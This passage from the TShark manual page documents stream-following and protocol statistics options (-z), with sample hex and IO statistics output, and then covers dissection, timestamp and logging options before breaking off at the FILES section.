Displays the contents of a TCP or UDP stream between two nodes. The data sent by the second node is prefixed with a tab to differentiate it from the data sent by the first node.

prot specifies the transport protocol. It can be one of:

tcp TCP udp UDP dccp DCCP tls TLS or SSL http HTTP streams http2 HTTP/2 streams quic QUIC streams

Note

While the usage help presents sip as an option, the proper stream filters are not implemented so SIP calls cannot be followed in TShark, only in Wireshark.

mode specifies the output mode. It can be one of:

ascii ASCII output with dots for non-printable characters ebcdic EBCDIC output with dots for non-printable characters hex Hexadecimal and ASCII data with offsets raw Hexadecimal data utf-8 UTF-8 output with REPLACEMENT CHARACTERs for invalid sequences yaml YAML format

Since the output in ascii, ebcdic, or utf-8 mode may contain newlines, each section of output is preceded by its length in bytes plus a newline. (Note that for utf-8 this is not UTF-8 characters, and may be different than the length as transmitted due to the substitution of replacement characters for invalid sequences.)

filter specifies the stream to be displayed. There are three formats:

ip-addr0:port0,ip-addr1:port1 stream-index stream-index,substream-index

The first format specifies IP addresses and TCP, UDP, or DCCP port pairs. (TCP ports are used for TLS, HTTP, and HTTP2; QUIC does not support address and port matching because of connection migration.)

The second format specifies stream indices, and is used for TCP, UDP, DCCP, TLS, and HTTP. (TLS and HTTP use TCP stream indices.)

The third format, specifying streams and substreams, is used for HTTP/2 and QUIC due to their use of multiplexing. (TCP stream and HTTP/2 stream indices for HTTP/2, QUIC connection number and stream ID for QUIC.)

range optionally specifies which “chunks” of the stream should be displayed.

Example: -z “follow,tcp,hex,1” will display the contents of the second TCP stream (the first is stream 0) in “hex” format.

=================================================================== Follow: tcp,hex Filter: tcp.stream eq 1 Node 0: 200.57.7.197:32891 Node 1: 200.57.7.198:2906 00000000 00 00 00 22 00 00 00 07 00 0a 85 02 07 e9 00 02 …"…. …….. 00000010 07 e9 06 0f 00 0d 00 04 00 00 00 01 00 03 00 06 …….. …….. 00000020 1f 00 06 04 00 00 …… 00000000 00 01 00 00 …. 00000026 00 02 00 00

Example: -z “follow,tcp,ascii,200.57.7.197:32891,200.57.7.198:2906” will display the contents of a TCP stream between 200.57.7.197 port 32891 and 200.57.7.98 port 2906.

=================================================================== Follow: tcp,ascii Filter: (omitted for readability) Node 0: 200.57.7.197:32891 Node 1: 200.57.7.198:2906 38 …"….. ……………. 4 ….

Example: -z “follow,http2,hex,0,1” will display the contents of a HTTP/2 stream on the first TCP session (index 0) with HTTP/2 Stream ID 1.

=================================================================== Follow: http2,hex Filter: tcp.stream eq 0 and http2.streamid eq 1 Node 0: 172.16.5.1:49178 Node 1: 172.16.5.10:8443 00000000 00 00 2c 01 05 00 00 00 01 82 04 8b 63 c1 ac 2a ..,….. ….c..* 00000010 27 1d 9d 57 ae a9 bf 87 41 8c 0b a2 5c 2e 2e da ..W…. A…... 00000020 e1 05 c7 9a 69 9f 7a 88 25 b6 50 c3 ab b6 25 c3 ….i.z. %.P…%. 00000030 53 03 2a 2f 2a S./ 00000000 00 00 22 01 04 00 00 00 01 88 5f 87 35 23 98 ac .."….. .._.5#.. 00000010 57 54 df 61 96 c3 61 be 94 03 8a 61 2c 6a 08 2f WT.a..a. …a,j./ 00000020 34 a0 5b b8 21 5c 0b ea 62 d1 bf 4.[.!.. b.. 0000002B 00 40 00 00 00 00 00 00 01 89 50 4e 47 0d 0a 1a .@…… ..PNG…

-z fractalgeneratorprotocol,stat[,filter]

Calculate statistics on the Fractal Generator Protocol of Reliable Server Pooling. For each message type, displays the number, rate and share among all message types of both packets and bytes, and the first and last time that it is seen.

-z gsm_a

Count the number of GSM A-I/F messages of each type within the following categories: BSSMAP, DTAP Mobility Management, DTAP Radio Resource Management, DTAP Call Control, DTAP GPRS Mobility Management, DTAP SMS messages, DTAP GPRS Session Management, DTAP Supplementary Services, DTAP Special Conformance Testing Functions, and SACCH Radio Resource Management.

Unlike the individual statistics for each category that follow, this only prints a line for each message type that appears, instead of including lines for message types with a count of zero.

-z gsm_a,category[,filter]

Count the number of messages of each type in GSM A-I/F category, which can be one of:

bssmap BSSMAP dtap_cc DTAP Call Control dtap_gmm DTAP GPRS Mobility Management dtap_mm DTAP Mobility Management dtap_rr DTAP Radio Resource Management dtap_sacch SACCH Radio Resource Management dtap_sm DTAP GPRS Session Management dtap_sms DTAP Short Message Service dtap_ss DTAP Supplementary Services dtap_tp DTAP Special Conformance Testing Functions

-z gsm_map,operation[,filter]

Calculate statistics on GSM MAP. For each op code, the total number of invokes and results, along with the average and total bytes for invokes and results separately and combined is displayed.

-z gtp,srt[,filter]

Collect requests/response SRT (Service Response Time) data for GTP. Data collected is the number of calls, minimum SRT, maximum SRT, average SRT, and sum SRT for certain commands. Currently no statistics are gathered on unpaired messages.

-z gtpv2,srt[,filter]

Collect requests/response SRT (Service Response Time) data for GTP. Data collected is the number of calls, minimum SRT, maximum SRT, average SRT, and sum SRT for certain commands. Currently no statistics are gathered on unpaired messages.

-z h225,counter[,filter]

Count ITU-T H.225 messages and their reasons. In the first column you get a list of H.225 messages and H.225 message reasons, which occur in the current capture file. The number of occurrences of each message or reason is displayed in the second column.

Example: -z h225,counter.

Example: use -z “h225,counter,ip.addr==1.2.3.4” to only collect stats for H.225 packets exchanged by the host at IP address 1.2.3.4 .

This option can be used multiple times on the command line.

-z h225_ras,rtd[,filter]

Collect requests/response RTD (Response Time Delay) data for ITU-T H.225 RAS. Data collected is number of calls of each ITU-T H.225 RAS Message Type, Minimum RTD, Maximum RTD, Average RTD, Minimum in Frame, and Maximum in Frame. You will also get the number of Open Requests (Unresponded Requests), Discarded Responses (Responses without matching request) and Duplicate Messages.

Example: tshark -z h225_ras,rtd

This option can be used multiple times on the command line.

Example: -z “h225_ras,rtd,ip.addr==1.2.3.4” will only collect stats for ITU-T H.225 RAS packets exchanged by the host at IP address 1.2.3.4 .

-z hart_ip,tree[,filter]

Calculate statistics on HART-IP packets, grouping by message types and message IDs within types.

-z hosts[,ip][,ipv4][,ipv6]

Dump any collected resolved IPv4 and/or IPv6 addresses in “hosts” format. Both IPv4 and IPv6 addresses are dumped by default. “ip” argument will dump only IPv4 addresses.

Addresses are collected from a number of sources, including standard “hosts” files and captured traffic. Resolution must be enabled, e.g. through the -n option.

-z hpfeeds,tree[,filter]

Calculate statistics for HPFEEDS traffic such as publish per channel, and opcode distribution.

-z http,stat[,filter]

Count the HTTP response status codes and the HTTP request methods.

-z http,tree[,filter]

Calculate the HTTP packet distribution. Displayed values are the response status codes and request methods.

-z http_req,tree[,filter]

Calculate the HTTP requests by server. Displayed values are the server name and the URI path.

-z http_seq,tree[,filter]

Calculate the HTTP request sequence statistics, which correlate referring URIs with request URIs.

-z http_srv,tree[,filter]

Calculate the HTTP requests and responses by server. For the HTTP requests, displayed values are the server IP address and server hostname. For the HTTP responses, displayed values are the server IP address and status.

-z http2,tree[,filter]

Calculate the HTTP/2 packet distribution. Displayed values are the frame types.

-z icmp,srt[,filter]

Compute total ICMP echo requests, replies, loss, and percent loss, as well as minimum, maximum, mean, median and sample standard deviation SRT statistics typical of what ping provides.

Example: -z icmp,srt,ip.src==1.2.3.4 will collect ICMP SRT statistics for ICMP echo request packets originating from a specific host.

This option can be used multiple times on the command line.

-z icmpv6,srt[,filter]

Compute total ICMPv6 echo requests, replies, loss, and percent loss, as well as minimum, maximum, mean, median and sample standard deviation SRT statistics typical of what ping provides.

Example: -z icmpv6,srt,ipv6.src==fe80::1 will collect ICMPv6 SRT statistics for ICMPv6 echo request packets originating from a specific host.

This option can be used multiple times on the command line.

-z io,phs[,filter]

Create Protocol Hierarchy Statistics listing both number of packets and bytes.

This option can be used multiple times on the command line.

-z io,stat,interval[,filter][,filter][,filter]…

Collect packet/bytes statistics for the capture in intervals of interval seconds. Interval can be specified either as a whole or fractional second and can be specified with microsecond (us) resolution. If interval is 0, the statistics will be calculated over all packets.

If one or more filters are specified statistics will be calculated for all filters and presented with one column of statistics for each filter.

This option can be used multiple times on the command line.

Example: -z io,stat,1,ip.addr==1.2.3.4 will generate 1 second statistics for all traffic to/from host 1.2.3.4.

Example: -z “io,stat,0.001,smb&&ip.addr==1.2.3.4” will generate 1ms statistics for all SMB packets to/from host 1.2.3.4.

The examples above all use the standard syntax for generating statistics which only calculates the number of packets and bytes in each interval.

io,stat can also do much more statistics and calculate COUNT(), SUM(), MIN(), MAX(), AVG() and LOAD() using a slightly different filter syntax:

-z io,stat,interval,“COUNT|SUM|MIN|MAX|AVG|LOAD(field)filter

Note

One important thing to note here is that the filter is not optional and that the field that the calculation is based on MUST be part of the filter string or the calculation will fail.

So: -z io,stat,0.010,AVG(smb.time) does not work. Use -z io,stat,0.010,AVG(smb.time)smb.time instead. Also be aware that a field can exist multiple times inside the same packet and will then be counted multiple times in those packets.

Note

A second important thing to note is that the system setting for decimal separator must be set to “.”! If it is set to “,” the statistics will not be displayed per filter.

COUNT - Calculates the number of times that the field name (not its value) appears per interval in the filtered packet list. field can be any display filter name.

Example: -z io,stat,0.010,“COUNT(smb.sid)smb.sid”

This will count the total number of SIDs seen in each 10ms interval.

SUM - Unlike COUNT, the values of the specified field are summed per time interval. field can only be a named integer, float, double or relative time field.

Example: tshark -z io,stat,0.010,“SUM(frame.len)frame.len”

Reports the total number of bytes that were transmitted bidirectionally in all the packets within a 10 millisecond interval.

MIN/MAX/AVG - The minimum, maximum, or average field value in each interval is calculated. The specified field must be a named integer, float, double or relative time field. For relative time fields, the output is presented in seconds with six decimal digits of precision rounded to the nearest microsecond.

In the following example, the time of the first Read_AndX call, the last Read_AndX response values are displayed and the minimum, maximum, and average Read response times (SRTs) are calculated. NOTE: If the DOS command shell line continuation character, ^ is used, each line cannot end in a comma so it is placed at the beginning of each continuation line:

tshark -o tcp.desegment_tcp_streams:FALSE -n -q -r smb_reads.cap -z io,stat,0, “MIN(frame.time_relative)frame.time_relative and smb.cmd==0x2e and smb.flags.response==0”, “MAX(frame.time_relative)frame.time_relative and smb.cmd==0x2e and smb.flags.response==1”, “MIN(smb.time)smb.time and smb.cmd==0x2e”, “MAX(smb.time)smb.time and smb.cmd==0x2e”, “AVG(smb.time)smb.time and smb.cmd==0x2e”

====================================================================================================== IO Statistics Column #0: MIN(frame.time_relative)frame.time_relative and smb.cmd==0x2e and smb.flags.response==0 Column #1: MAX(frame.time_relative)frame.time_relative and smb.cmd==0x2e and smb.flags.response==1 Column #2: MIN(smb.time)smb.time and smb.cmd==0x2e Column #3: MAX(smb.time)smb.time and smb.cmd==0x2e Column #4: AVG(smb.time)smb.time and smb.cmd==0x2e | Column #0 | Column #1 | Column #2 | Column #3 | Column #4 | Time | MIN | MAX | MIN | MAX | AVG | 000.000- 0.000000 7.704054 0.000072 0.005539 0.000295 ======================================================================================================

The following command displays the average SMB Read response PDU size, the total number of read PDU bytes, the average SMB Write request PDU size, and the total number of bytes transferred in SMB Write PDUs:

tshark -n -q -r smb_reads_writes.cap -z io,stat,0, “AVG(smb.file.rw.length)smb.file.rw.length and smb.cmd==0x2e and smb.response_to”, “SUM(smb.file.rw.length)smb.file.rw.length and smb.cmd==0x2e and smb.response_to”, “AVG(smb.file.rw.length)smb.file.rw.length and smb.cmd==0x2f and not smb.response_to”, “SUM(smb.file.rw.length)smb.file.rw.length and smb.cmd==0x2f and not smb.response_to”

===================================================================================== IO Statistics Column #0: AVG(smb.file.rw.length)smb.file.rw.length and smb.cmd==0x2e and smb.response_to Column #1: SUM(smb.file.rw.length)smb.file.rw.length and smb.cmd==0x2e and smb.response_to Column #2: AVG(smb.file.rw.length)smb.file.rw.length and smb.cmd==0x2f and not smb.response_to Column #3: SUM(smb.file.rw.length)smb.file.rw.length and smb.cmd==0x2f and not smb.response_to | Column #0 | Column #1 | Column #2 | Column #3 | Time | AVG | SUM | AVG | SUM | 000.000- 30018 28067522 72 3240 =====================================================================================

LOAD - The LOAD/Queue-Depth in each interval is calculated. The specified field must be a relative time field that represents a response time. For example smb.time. For each interval the Queue-Depth for the specified protocol is calculated.

The following command displays the average SMB LOAD. A value of 1.0 represents one I/O in flight.

tshark -n -q -r smb_reads_writes.cap -z “io,stat,0.001,LOAD(smb.time)smb.time”

============================================================================ IO Statistics Interval: 0.001000 secs Column #0: LOAD(smb.time)smb.time | Column #0 | Time | LOAD | 0000.000000-0000.001000 1.000000 0000.001000-0000.002000 0.741000 0000.002000-0000.003000 0.000000 0000.003000-0000.004000 1.000000

FRAMES | BYTES[()filter] - Displays the total number of frames or bytes. The filter field is optional but if included it must be prepended with ().

The following command displays five columns: the total number of frames and bytes (transferred bidirectionally) using a single comma, the same two stats using the FRAMES and BYTES subcommands, the total number of frames containing at least one SMB Read response, and the total number of bytes transmitted to the client (unidirectionally) at IP address 10.1.0.64.

tshark -o tcp.desegment_tcp_streams:FALSE -n -q -r smb_reads.cap -z io,stat,0,,FRAMES,BYTES, “FRAMES()smb.cmd==0x2e and smb.response_to”,“BYTES()ip.dst==10.1.0.64”

======================================================================================================================= IO Statistics Column #0: Column #1: FRAMES Column #2: BYTES Column #3: FRAMES()smb.cmd==0x2e and smb.response_to Column #4: BYTES()ip.dst==10.1.0.64 | Column #0 | Column #1 | Column #2 | Column #3 | Column #4 | Time | Frames | Bytes | FRAMES | BYTES | FRAMES | BYTES | 000.000- 33576 29721685 33576 29721685 870 29004801 =======================================================================================================================

-z ip_hosts,tree[,filter]

Calculate statistics on IPv4 addresses, with source and destination addresses all grouped together.

-z ip_srcdst,tree[,filter]

Calculate statistics on IPv4 addresses, with source and destination addresses separated into separate categories.

-z ip_ttl,tree[,filter]

Calculate statistics on the time to live (TTL) values that occur for each IPv4 source address.

-z ip6_dests,tree[,filter]

Calculate statistics on IPv6 destination addresses and the protocols and ports appearing on each address.

-z ip6_hosts,tree[,filter]

Calculate statistics on IPv6 addresses, with source and destination addresses all grouped together.

-z ip6_ptype,tree[,filter]

Calculate statistics on port types that occur on IPv6 packets.

-z ip6_srcdst,tree[,filter]

Calculate statistics on IPv6 addresses, with source and destination addresses separated into separate categories.

-z ip6_hop,tree[,filter]

Calculate statistics on the hop limits that occur for each IPv6 source address.

-z isup_msg,tree[,filter]

Calculate statistics on ISUP messages. Displayed information is message types and direction (originating point code and destination point code.)

-z lbmr_queue_ads_queue,tree[,filter]

Calculate statistics on LBM Topic Resolution Packets. Displays queue advertisements collated by queue name and then source addresses and port.

-z lbmr_queue_ads_source,tree[,filter]

Calculate statistics on LBM Topic Resolution Packets. Displays queue advertisements collated by source address and then queue and port.

-z lbmr_queue_queries_queue,tree[,filter]

Calculate statistics on LBM Topic Resolution Packets. Displays queue queries collated by queue name and then receiver addresses.

-z lbmr_queue_queries_receiver,tree[,filter]

Calculate statistics on LBM Topic Resolution Packets. Displays queue queries collated by receiver address and then queue.

-z lbmr_topic_ads_source,tree[,filter]

Calculate statistics on LBM Topic Resolution Packets. Displays topic advertisements collated by source address and then topic name and source string.

-z lbmr_topic_ads_topic,tree[,filter]

Calculate statistics on LBM Topic Resolution Packets. Displays topic advertisements collated by topic name and then source address and source string.

-z lbmr_topic_ads_transport,tree[,filter]

Calculate statistics on LBM Topic Resolution Packets. Displays topic advertisements collated by source string and then topic name.

-z lbmr_topic_queries_pattern,tree[,filter]

Calculate statistics on LBM Topic Resolution Packets. Displays topic queries collated by pattern and then receiver address.

-z lbmr_topic_queries_pattern_receiver,tree[,filter]

Calculate statistics on LBM Topic Resolution Packets. Displays topic queries collated by receiver address and then pattern.

-z lbmr_topic_queries_receiver,tree[,filter]

Calculate statistics on LBM Topic Resolution Packets. Displays topic queries collated by receiver address and then topic name.

-z lbmr_topic_queries_topic,tree[,filter]

Calculate statistics on LBM Topic Resolution Packets. Displays topic queries collated by topic name and then receiver address.

-z mac-lte,stat[,filter]

This option will activate a counter for LTE MAC messages. You will get information about the maximum number of UEs/TTI, common messages and various counters for each UE that appears in the log.

Example: tshark -z mac-lte,stat.

This option can be used multiple times on the command line.

Example: -z “mac-lte,stat,mac-lte.rnti>3000” will only collect stats for UEs with an assigned RNTI whose value is more than 3000.

-z megaco,rtd[,filter]

Collect requests/response RTD (Response Time Delay) data for MEGACO. (This is similar to -z smb,srt). Data collected is the number of calls for each known MEGACO Type, MinRTD, MaxRTD and AvgRTD. Additionally you get the number of duplicate requests/responses, unresponded requests, responses, which don’t match with any request. Example: -z megaco,rtd.

Example: -z “megaco,rtd,ip.addr==1.2.3.4” will only collect stats for MEGACO packets exchanged by the host at IP address 1.2.3.4 .

This option can be used multiple times on the command line.

-z mgcp,rtd[,filter]

Collect requests/response RTD (Response Time Delay) data for MGCP. (This is similar to -z smb,srt). Data collected is the number of calls for each known MGCP Type, MinRTD, MaxRTD and AvgRTD. Additionally you get the number of duplicate requests/responses, unresponded requests, responses, which don’t match with any request. Example: -z mgcp,rtd.

This option can be used multiple times on the command line.

Example: -z “mgcp,rtd,ip.addr==1.2.3.4” will only collect stats for MGCP packets exchanged by the host at IP address 1.2.3.4 .

-z mtp3,msus[,filter]

Calculate statistics on MTP3 MSUs. For each combination of originating point code, destination point code, and service indicator, calculates the total number of MSUs, the total bytes, and the average bytes per MSU.

-z ncp,srt[,filter]

Collect requests/response SRT (Service Response Time) data for Netware Core Protocol. Minimum SRT, maximum SRT, average SRT, and sum SRT is displayed for request/response pairs, organized by group, function and subfunction, and verb. No statistics are gathered on unpaired messages.

-z osmux,tree[,filter]

Calculate statistics for the OSmux voice/signaling multiplex protocol. Displays the total number of OSmux packets, and displays for each stream the number of packets, number of packets with the RTP market bit set, number of AMR frames, jitter analysis, and sequence number analysis.

-z pingpongprotocol,stat[,filter]

Calculate statistics on the Ping Pong Protocol of Reliable Server Pooling. For each message type, displays the number, rate and share among all message types of both packets and bytes, and the first and last time that it is seen.

-z plen,tree[,filter]

Calculate statistics on packet lengths. Packets are grouped into buckets that grow exponentially with powers of two.

-z proto,colinfo,filter,field

Append all field values for the packet to the Info column of the one-line summary output. This feature can be used to append arbitrary fields to the Info column in addition to the normal content of that column. field is the display-filter name of a field which value should be placed in the Info column. filter is a filter string that controls for which packets the field value will be presented in the info column. field will only be presented in the Info column for the packets which match filter.

Note

In order for TShark to be able to extract the field value from the packet, field MUST be part of the filter string. If not, TShark will not be able to extract its value.

For a simple example to add the “nfs.fh.hash” field to the Info column for all packets containing the “nfs.fh.hash” field, use

-z proto,colinfo,nfs.fh.hash,nfs.fh.hash

To put “nfs.fh.hash” in the Info column but only for packets coming from host 1.2.3.4 use:

-z “proto,colinfo,nfs.fh.hash && ip.src==1.2.3.4,nfs.fh.hash”

This option can be used multiple times on the command line.

-z ptype,tree[,filter]

Calculate statistics on port types that occur on IPv4 packets.

-z radius,rtd[,filter]

Collect requests/response RTD (Response Time Delay) data for RADIUS. The data collected for each RADIUS code is the number of calls, Minimum RTD, Maximum RTD, Average RTD, Minimum in Frame, and Maximum in Frame, along with the number of Open Requests (Unresponded Requests), Discarded Responses (Responses without matching request) and Duplicate Messages.

-z rlc-lte,stat[,filter]

This option will activate a counter for LTE RLC messages. You will get information about common messages and various counters for each UE that appears in the log.

Example: tshark -z rlc-lte,stat.

This option can be used multiple times on the command line.

Example: -z “rlc-lte,stat,rlc-lte.ueid>3000” will only collect stats for UEs with a UEId of more than 3000.

-z rpc,programs

Collect call/reply SRT data for all known ONC-RPC programs/versions. Data collected is number of calls for each protocol/version, MinSRT, MaxSRT and AvgSRT. This option can only be used once on the command line.

-z rpc,srt,program,version[,filter]

Collect call/reply SRT (Service Response Time) data for program/version. Data collected is the number of calls for each procedure, MinSRT, MaxSRT, AvgSRT, and the total time taken for each procedure.

Example: tshark -z rpc,srt,100003,3 will collect data for NFS v3.

This option can be used multiple times on the command line.

Example: -z rpc,srt,100003,3,nfs.fh.hash==0x12345678 will collect NFS v3 SRT statistics for a specific file.

-z rtp,streams

Collect statistics for all RTP streams and calculate max. delta, max. and mean jitter and packet loss percentages.

-z rtsp,stat[,filter]

Count the RTSP response status codes and the RSTP request methods.

-z rtsp,tree[,filter]

Calculate the RTSP packet distribution. Displayed values are the response status codes and request methods.

-z sametime,tree[,filter]

Calculate statistics on SAMETIME messages. Displayed values are the messages type, send type, and user status.

-z scsi,srt,cmdset[,filter]

Collect call/reply SRT (Service Response Time) data for SCSI commandset cmdset.

Commandsets are 0:SBC 1:SSC 5:MMC

Data collected is the number of calls for each procedure, MinSRT, MaxSRT and AvgSRT.

Example: -z scsi,srt,0 will collect data for SCSI BLOCK COMMANDS (SBC).

This option can be used multiple times on the command line.

Example: -z scsi,srt,0,ip.addr==1.2.3.4 will collect SCSI SBC SRT statistics for a specific iscsi/ifcp/fcip host.

-z sctp,stat

Activate a counter for SCTP chunks. In addition to the total number of SCTP packets, for each source and destination address and port combination the number of chunks of the most common types (DATA, SACK, HEARTBEAT, HEARTBEAT ACK, INIT, INIT ACK, COOKIE ECHO, COOKIE ACK, ABORT, and ERROR) are displayed.

-z sip,stat[,filter]

This option will activate a counter for SIP messages. You will get the number of occurrences of each SIP Method and of each SIP Status-Code. Additionally you also get the number of resent SIP Messages (only for SIP over UDP).

Example: -z sip,stat.

This option can be used multiple times on the command line.

Example: -z “sip,stat,ip.addr==1.2.3.4” will only collect stats for SIP packets exchanged by the host at IP address 1.2.3.4 .

-z smb,sids

When this feature is used TShark will print a report with all the discovered SID and account name mappings. Only those SIDs where the account name is known will be presented in the table.

For this feature to work you will need to either to enable “Edit/Preferences/Protocols/SMB/Snoop SID to name mappings” in the preferences or you can override the preferences by specifying -o “smb.sid_name_snooping:TRUE” on the TShark command line.

The current method used by TShark to find the SID→name mapping is relatively restricted with a hope of future expansion.

-z smb,srt[,filter]

Collect call/reply SRT (Service Response Time) data for SMB. Data collected is number of calls for each SMB command, MinSRT, MaxSRT and AvgSRT.

Example: -z smb,srt

The data will be presented as separate tables for all normal SMB commands, all Transaction2 commands and all NT Transaction commands. Only those commands that are seen in the capture will have its stats displayed. Only the first command in a xAndX command chain will be used in the calculation. So for common SessionSetupAndX + TreeConnectAndX chains, only the SessionSetupAndX call will be used in the statistics. This is a flaw that might be fixed in the future.

This option can be used multiple times on the command line.

Example: -z “smb,srt,ip.addr==1.2.3.4” will only collect stats for SMB packets exchanged by the host at IP address 1.2.3.4 .

-z smb2,srt[,filter]

Collect call/reply SRT (Service Response Time) data for SMB versions 2 and 3. The data collected for each normal command type is the number of calls, MinSRT, MaxSRT, AvgSRT, and SumSRT. No data is collected on cancel or oplock break requests, or on unpaired commands. Only the first response to a given request is used; retransmissions are not included in the calculation.

-z smpp_commands,tree[,filter]

Calculate the SMPP command distribution. Displayed values are command IDs for both requests and responses, and status for responses.

-z snmp,srt[,filter]

Collect call/reply SRT (Service Response Time) data for SNMP. The data collected for each PDU type is the number of request/response pairs, MinSRT, MaxSRT, AvgSRT, and SumSRT. No data is collected on unpaired messages.

-z someip_messages,tree[,filter]

Create statistic of SOME/IP messages. Messages are counted and displayed as Messages grouped by sender/receiver.

-z someipsd_entries,tree[,filter]

Create statistic of SOME/IP-SD entries. Entries are counted and displayed as Entries grouped by sender/receiver.

-z sv

Print out the time since the start of the capture and sample count for each IEC 61850 Sampled Values packet.

-z ucp_messages,tree[,filter]

Calculate the message distribution of UCP packets. Displayed values are operation types for both operations and results, and whether results are positive or negative, with error codes displayed for negative results.

-z wsp,stat[,filter]

Count the PDU types and the status codes of reply packets for WSP packets.

–capture-comment <comment>

Add a capture comment to the output file, if supported by the output file format.

This option may be specified multiple times. Note that Wireshark currently only displays the first comment of a capture file.

–list-time-stamp-types

List time stamp types supported for the interface. If no time stamp type can be set, no time stamp types are listed.

–time-stamp-type <type>

Change the interface’s timestamp method.

–update-interval <interval>

Set the length of time in milliseconds between new packet reports during a capture. Also sets the granularity of file duration conditions. The default value is 100ms.

–color

Enable coloring of packets according to standard Wireshark color filters. On Windows colors are limited to the standard console character attribute colors. Other platforms require a terminal that handles 24-bit “true color” terminal escape sequences. See <https://gitlab.com/wireshark/wireshark/-/wikis/ColoringRules> for more information on configuring color filters.

–no-duplicate-keys

If a key appears multiple times in an object, only write it a single time with as value a json array containing all the separate values. (Only works with -T json)

–elastic-mapping-filter <protocol>,<protocol>,…

When generating the ElasticSearch mapping file, only put the specified protocols in it, to avoid a huge mapping file that can choke some software (such as Kibana). The option takes a list of wanted protocol abbreviations, separated by comma.

Example: ip,udp,dns puts only those three protocols in the mapping file.

–export-objects <protocol>,<destdir>

Export all objects within a protocol into directory destdir. The available values for protocol can be listed with –export-objects help.

The objects are directly saved in the given directory. Filenames are dependent on the dissector, but typically it is named after the basename of a file. Duplicate files are not overwritten, instead an increasing number is appended before the file extension.

This interface is subject to change, adding the possibility to filter on files.

–print-timers

Output JSON containing elapsed times for each pass tshark does to process a capture file and the sum elapsed time for all passes. The per-pass output contains the total elapsed time and aggregate counters for per-packet operations (dissection and filtering).

DISSECTION OPTIONS

-d <layer type>==<selector>,<decode-as protocol>

Like Wireshark’s Decode As… feature, this lets you specify how a layer type should be dissected. If the layer type in question (for example, tcp.port or udp.port for a TCP or UDP port number) has the specified selector value, packets should be dissected as the specified protocol.

Example 1. Decode As Port

-d tcp.port==8888,http will decode any traffic running over TCP port 8888 as HTTP.

Example 2. Decode As Port Range

-d tcp.port==8888-8890,http will decode any traffic running over TCP ports 8888, 8889 or 8890 as HTTP.

Example 3. Decode As Port Range via Length

-d tcp.port==8888:3,http will decode any traffic running over the three TCP ports 8888, 8889 or 8890 as HTTP.

Using an invalid selector or protocol will print out a list of valid selectors and protocol names, respectively.

Example 4. Decode As List of Selectors

-d . is a quick way to get a list of valid selectors.

Example 5. Decode As List of Values for a Selector

-d ethertype==0x0800,. is a quick way to get a list of protocols that can be selected with an ethertype.

–disable-all-protocols

Disable dissection of all protocols.

–disable-protocol <proto_name>[,<proto_name>,…]

Disable dissection of proto_name. Use a proto_name of ALL to override your chosen profile’s default enabled protocol list and temporarily disable all protocols.

–disable-heuristic <short_name>

Disable dissection of heuristic protocol.

–enable-protocol <proto_name>[,<proto_name>,…]

Enable dissection of proto_name. Use a proto_name of ALL to override your chosen profile’s default disabled protocol list and temporarily enable all protocols which are enabled by default.

If a protocol is implicated in both –disable-protocol and –enable-protocol, the protocol is enabled. This allows you to temporarily disable all protocols but a list of exceptions. Example: –disable-protocol ALL –enable-protocol eth,ip

–enable-heuristic <short_name>

Enable dissection of heuristic protocol.

-K <keytab>

Load kerberos crypto keys from the specified keytab file. This option can be used multiple times to load keys from several files.

Example: -K krb5.keytab

-n

Disable network object name resolution (such as hostname, TCP and UDP port names); the -N option might override this one.

-N <name resolving flags>

Turn on name resolving only for particular types of addresses and port numbers, with name resolving for other types of addresses and port numbers turned off. This option (along with -n) can be specified multiple times; the last value given overrides earlier ones. This option and -n override the options from the preferences, including preferences set via the -o option. If both -N and -n options are not present, the values from the preferences are used, which default to -N dmN.

The argument is a string that may contain the letters:

d to enable resolution from captured DNS packets

g to enable IP address geolocation information lookup from configured MaxMind databases

m to enable MAC address resolution

n to enable network address resolution

N to enable using external resolvers (e.g., DNS) for network address resolution; no effect without n also enabled.

t to enable transport-layer port number resolution

v to enable VLAN IDs to names resolution

Caution

In tshark single-pass mode, external resolution and geolocation lookup is performed synchronously. For live captures, which are always in single-pass mode, this makes it more difficult for dissection to keep up with a busy network, possibly leading to dropped packets.

–only-protocols <protocols>

Only enable dissection of these protocols, comma separated. Disable everything else.

-t (a|ad|adoy|d|dd|e|r|u|ud|udoy)[.[N]]|.[N]

Set the format of the packet timestamp displayed in the default time column. The format can be one of:

a absolute: The absolute time, as local time in your time zone, is the actual time the packet was captured, with no date displayed

ad absolute with date: 2020-01-01

adoy absolute with date using day of year: The absolute date, displayed as YYYY/DOY, and time, as local time in your time zone, is the actual time and date the packet was captured

d delta: The delta time is the time since the previous packet was captured

dd delta_displayed: The delta_displayed time is the time since the previous displayed packet was captured

e epoch: The time in seconds since epoch (Jan 1, 1970 00:00:00)

r relative: The relative time is the time elapsed between the first packet and the current packet

u UTC: The absolute time, as UTC, is the actual time the packet was captured, with no date displayed

ud UTC with date: 2020-01-01

udoy UTC with date using day of year: The absolute date, displayed as YYYY/DOY, and time, as UTC, is the actual time and date the packet was captured

.[N] Set the precision: N is the number of decimals (0 through 9). If using “.” without N, automatically determine precision from trace.

The default format is relative with precision based on capture format.

-u <s|hms>

Specifies how packet timestamp formats in -t which are relative times (i.e. relative, delta, and delta_displayed) are displayed. Valid choices are:

s for seconds

hms for hours, minutes, and seconds

The default format is seconds.

DIAGNOSTIC OPTIONS

–log-level <level>

Set the active log level. Supported levels in lowest to highest order are “noisy”, “debug”, “info”, “message”, “warning”, “critical”, and “error”. Messages at each level and higher will be printed, for example “warning” prints “warning”, “critical”, and “error” messages and “noisy” prints all messages. Levels are case insensitive.

–log-fatal <level>

Abort the program if any messages are logged at the specified level or higher. For example, “warning” aborts on any “warning”, “critical”, or “error” messages.

–log-domains <list>

Only print messages for the specified log domains, e.g. “GUI,Epan,sshdump”. List of domains must be comma-separated. Can be negated with “!” as the first character (inverts the match).

–log-debug <list>

Force the specified domains to log at the “debug” level. List of domains must be comma-separated. Can be negated with “!” as the first character (inverts the match).

–log-noisy <list>

Force the specified domains to log at the “noisy” level. List of domains must be comma-separated. Can be negated with “!” as the first character (inverts the match).

–log-fatal-domains <list>

Abort the program if any messages are logged for the specified log domains. List of domains must be comma-separated.

–log-file <path>

Write log messages and stderr output to the specified file.

CAPTURE FILTER SYNTAX

See the manual page of pcap-filter(7) or, if that doesn’t exist, tcpdump(8), or, if that doesn’t exist, <https://gitlab.com/wireshark/wireshark/-/wikis/CaptureFilters>.

READ FILTER SYNTAX

For a complete table of protocol and protocol fields that are filterable in TShark see the wireshark-filter(4) manual page.

FILES

These files contains various Wireshark configuration values.

Preferences

